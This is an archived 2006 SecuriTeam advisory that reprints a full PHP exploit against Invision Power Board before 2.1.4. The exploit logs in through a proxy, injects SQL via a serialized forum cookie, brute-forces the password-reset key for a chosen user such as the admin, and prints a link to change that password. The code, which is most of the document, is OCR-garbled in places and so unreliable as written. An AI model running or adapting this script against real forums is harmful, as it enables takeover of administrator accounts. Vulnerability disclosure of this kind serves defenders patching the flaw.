

[EXPL] Invision Power Board Password Change SQL-Injection Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00009.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 6 Mar 2006 13:07:25 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Invision Power Board Password Change SQL-Injection Exploit

SUMMARY

" <<http://www.invisionpower.com/ip.dynamic/products/board/index.html>>
Invision Power Board, an award-winning scaleable bulletin board system, allows you to effortlessly build, manage and promote your online community."

Improper handling of user input allow attackers to change passwords for existed users on Invision Power Board.

DETAILS

Vulnerable Systems:

- * Invision Power Board version 2.1.3 and prior

Immune Systems:

- * Invision Power Board version 2.1.4

Exploit:

<?
/*

[EXPL] Invision Power Board Password Change SQL-Injection Exploit

```
____ _
_____/____\____\
/_____\_//_\\//\\
\\_____\_//_//_//
\\_//\\//\____//
||\\//_//_//
||_____/____/\____/\_//
|_____/____^____^____/
=== - security team - ===
```

Invision Power Board < 2.1.4 Password change SQL-Injection Exploit
by roOstY

Ru24 Security Team

<= www.Ru24-Team.net =>

For example you can reset password for admin
(link to "forget Password" add ask to change this password.
At the end of exploit you get link to change admin password)
Working in all Invision Power Forum forum before 2.1.4
but you need good mysql version ;)
Greetz to Nitrex and Dukenn
Regards to: Dr_UFO_51,k0pa,NSD,Naikon and other...
Before runing,you must setup some settings
WARNING: You must setup the CURL-module for PHP!

*/

/* In any case at first you need to change password to \$target if you
can't understand that */
// error_reporting(E_ALL);

Settings
#####

\$proxy="24.48.*.*:*"; ## - your socks 4/5-proxy

\$host="http://forum.*.*.lt; ## - target forum

\$login="*****"; ## - login to forum

\$password="*****"; ## - pass to forum

\$cook_name="ibf_topicsread"; ## - target cookie name (default:
ibf_topicsread)

\$topic=22; ## - any real topyc

\$target=1; ## - id target to admin or other user

that you want to reset password

#####

At first you need to reset pasword for target user.

For example you can reset password for admin (link to "forget
Password" add ask to change this password. At the end of you get link to
change admin password)

#####

\$len=32; ## 5 for salt ## it's my

[EXPL] Invision Power Board Password Change SQL-Injection Exploit

```
$ver=1; ## if not wor change to 2
$cookie file path = "/tmp/cookie"; ## for my opinuion, you can to
set other
$agent = "Mozilla/4.0 (compatible: MSIE 5.01; Windows NT 5.0)";

#####

$cookie="";

echo "Login...":
$url=$host."/index.php?act=Login&CODE=01&CookieDate=1":
$reffer=$host."/index.php?act=Login&CODE=00":
$post['UserName']=urlencode($login);
$post['PassWord']=urlencode($password);
$result=query($url,$agent,$proxy,$reffer,$cookie file path,$post,"");
##### Login to the forum

$cook=getcookiee($result);
foreach ($cook as $k=>$v) { $cookie[$k]=$v; }
if (!strstr($result,$login)) {
echo "error. Invalid Login or Password then Login\n":
exit;
} else echo "done\n":

echo "Redirecting to main page...":
$url=$host.urldecode(ExtractString($result,$host,"\" "));
$result=query($url,$agent,$proxy,$reffer,$cookie file path,"","");
##### Redirect to the main page

$cook=getcookiee($result);
foreach ($cook as $k=>$v) { $cookie[$k]=$v; }

if (!strstr($result,$login)) {
echo "error. Invalid Login or Password then Redirect\n":
exit;
} else echo "done\n":
$reffer=$url;

echo "Going to Control Panel...":
$url=$host."/index.php?act=UserCP&CODE=00":
$reffer="";$agent="";
$result=query($url,$agent,$proxy,$reffer,$cookie file path,"","");
##### Go te the control panel
$cook=getcookiee($result);
foreach ($cook as $k=>$v) { $cookie[$k]=$v; }

if (!strstr($result,$login)) {
echo "error. Invalid Login or Password then going to Control\n":
exit;
} echo "done\n":
```

[EXPL] Invision Power Board Password Change SQL-Injection Exploit

```
echo "Get table prefix...";
$arr[$topic]=1111111111;
$arr['-1] andd']=$topic;

$cookie base="";
foreach ( $cookie as $k=>$v ) { $cookie base.= $k."=".$v."; "; }

$cookie add=$cookie base.$cook name."=".urlencode(serialize($arr));
unset($arr);

$result=query($url,$agent,$proxy,$referrer,$cookie file path,"",$cookie add);
if (!(strstr($result,"Error"))) {
echo "error. Target seems not vuln";
exit; }
$pref=ExtractString($result,"SELECT * FROM ". $topics");
echo "done prefix: ".$pref."\n";

$al="";
echo "Checking Mysql version....";
$stargval=explode(".", $target);
$arr[$topic]=1111111111;
$arr['-1] and @@version<4/*']=$topic;
$cookie add=$cookie base.";
$. $cook name."=".urlencode(serialize($arr));
unset($arr);

$result=query($url,$agent,$proxy,$referrer,$cookie file path,"",$cookie add);
if (!(strstr($result,"showtopic=".$target)) echo "done Mysql ver

    4 – GOOD!\n";

else { echo "done Mysql ver < 4. We can use only dos\n";
exit;
}
echo "Exploiting....";

$sent='%61%3A%32%3A%7B%73%3A';
if ($ver==1) $exp="-999) UNION SELECT
0.vid.null,'open'.0.1.1132440935.1.11132440935.0.null.null.0.0.2.2.1.0.0.0.0.0.1.0.0.0.0.0.0 from
$. $pref."validating where member id=".$target." LIMIT 1/*";
else $exp="-999) UNION SELECT
0.vid.null,'open'.0.1.1132440935.1.11132440935.0.null.null.0.0.2.2.1.0.0.null.null.0.0.1.0 from
$. $pref."validating where member id=".$target." LIMIT 1/*";

$arr[$topic]=1111111111;
$arr[$exp]=$topic;
```

[EXPL] Invision Power Board Password Change SQL–Injection Exploit

```
$cookie add=$cookie base.":
".$cook_name."=".urlencode(serialize($arr)):
unset($arr):

$result=query($url,$agent,$proxy,$referrer,$cookie file path,"".$cookie add):
if (!strstr($result,"different number of columns")) {
echo "done\n":
$vid=substr($result,strpos($result,"</a></span>")-32,32):
echo "Done\nGoto url:
[".$host."/index.php?act=Reg&CODE=lostpassform&uid=".$target."&aid=".$vid."] and change user
password!\n":
} else {
echo "bad Can't find number of colums\n":
}
echo "Checking Mysql version 2....":
$targval=explode(".". $target):
$arr[$topic]=1111111111:
$arr['-1) and @@version<4.1/*']=$topic:
$cookie add=$cookie base.":
".$cook_name."=".urlencode(serialize($arr)):
unset($arr):

$result=query($url,$agent,$proxy,$referrer,$cookie file path,"".$cookie add):
//echo $result:exit:
if (!strstr($result,"showtopic=".$target)) echo "done Mysql ver
4.1 – GOOD!\n":

else { echo "done Mysql ver < 4.1. We can't use
SUBSELECT\n":
exit:
}
echo "Bruteforcing....\n":
$val="":
for ($j=16;$j<=$len;$j++) {
$a2=128:
$a1=32:
while (($a2-$a1)>=5) {
$s=round(($a1+$a2)/2,0):
echo $s:
$arr[$topic]=1111111111:
$arr['-1) and '$s.'>(select ord(substring(vid,'.$j.'.1)) from
'.$pref.'validating where member id='.$target.' LIMIT 1)/*']=$topic:
$cookie add=$cookie base.":
".$cook_name."=".urlencode(serialize($arr)):
unset($arr):

$result=query($url,$agent,$proxy,$referrer,$cookie file path,"".$cookie add):
if ((strstr($result,"Error")))
echo "Error query!\n":
exit:
```

[EXPL] Invision Power Board Password Change SQL–Injection Exploit

```

}
if (strstr($result,"showtopic")) $a2=$s; else $a1=$s;
}
for ($i=$a1;$i<=$a2;$i++) {
echo $i;
$arr[$topic]=1111111111;
$arr[-1] and '.si.'=(select ord(substring(vid,'.$j.',1)) from
'. $pref.'validating where member id='.$target.' LIMIT 1)/*]=$topic;
$cookie add=$cookie base.";
". $cook_name."="."urlencode(serialize($arr));

$result=query($url,$agent,$proxy,$referrer,$cookie_file_path."".$cookie add);
// echo urlencode(serialize($arr)).$result;exit;
if (strstr($result,"showtopic")) {
$val .= chr($i);
echo " – Get symb: [". $j. "] ".chr($i)."\n";
break;
}
}
}
echo "Done\nGoto url:
[".$host."/index.php?act=Reg&CODE=lostpassform&uid=".$target."&aid=".strtolower($val)."] and change
user password!\n";

function getcookiee($result) {
$res = explode("\n",$result);
foreach ($res as $k=>$v) {
if (ereg("Set-Cookie",$v)) {
$c a = explode(";",trim(str_replace("Set-Cookie:", "", $v)));
foreach ($c a as $k=>$v) {
if (!(ereg("expires",$v))) {
$arr=explode("=",trim($v));
$cook[trim($arr[0])]=trim($arr[1]);
}
}
}
}
return $cook;
}

function
query($url,$agent,$proxy,$referrer,$cookie_file_path,$post,$cookie) {
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
if ($post!="") {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
curl_setopt ($ch, CURLOPT_TIMEOUT, 120);

```

[EXPL] Invision Power Board Password Change SQL–Injection Exploit

```
curl_setopt ($ch, CURLOPT_PROXY, $proxy);  
curl_setopt ($ch, CURLOPT_PROXYTYPE, CURLPROXY SOCKS5);  
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, TRUE);  
curl_setopt ($ch, CURLOPT_FAILONERROR, false);  
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);  
curl_setopt($ch, CURLOPT_REFERER, $referrer);
```

```
if ($cookie!="")  
curl_setopt($ch, CURLOPT_COOKIE, $cookie);  
// else {  
curl_setopt($ch, CURLOPT_COOKIEFILE,  
$cookie_file_path);  
curl_setopt($ch, CURLOPT_COOKIEJAR,  
$cookie_file_path);  
// }  
curl_setopt($ch, CURLOPT_HEADER, 1);  
$result = curl_exec($ch);  
$error=curl_errno($ch);  
curl_close ($ch);  
if ($error) $result="Fucking Error: ".$error."\r\n";  
if ($error==7) $result=$result." Failed to connect() to host or  
proxy.\r\n";  
if ($error==28) $result=$result." Operation timeout. The specified  
time–out period was reached according to the conditions.\r\n";  
if ($error==22) $result=$result." Sorry. Unable to process request  
at this time. Please try again later.\r\n";  
return $result;  
}
```

```
function ExtractString($str, $start, $end) {  
$str_low = ($str);  
if (strpos($str_low, $start) !== false && strpos($str_low, $end,  
strpos($str_low, $start)) !== false) {  
$pos1 = strpos($str_low, $start) + strlen($start);  
$pos2 = strpos($str_low, $end, strpos($str_low, $start)) – $pos1;  
return substr($str, $pos1, $pos2);  
}  
}  
?>
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:ironfist99@xxxxxxxx>

Ironfist.

The original article can be found at:

<http://www.ru24–team.net/exploits/ru24_ipb21.php.txt>

http://www.ru24–team.net/exploits/ru24_ipb21.php.txt

[EXPL] Invision Power Board Password Change SQL-Injection Exploit

=====
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxx

=====
DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.